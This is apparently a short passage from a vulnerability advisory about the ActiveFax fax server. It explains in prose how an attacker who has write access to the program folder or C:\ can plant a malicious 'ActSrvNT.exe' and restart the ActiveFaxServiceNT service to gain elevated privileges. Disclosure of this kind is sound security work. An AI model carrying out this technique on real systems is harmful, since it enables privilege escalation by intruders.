    #Exploit:
    
    If the attacker has taken over the system and the taken user has write
    privileges to the "C:\Program Files\ActiveFax" folder or "C:\", they
    can inject their own malicious "ActSrvNT.exe" file. Then the
    ActiveFaxServiceNT Service can be restarted to privilege escalation.
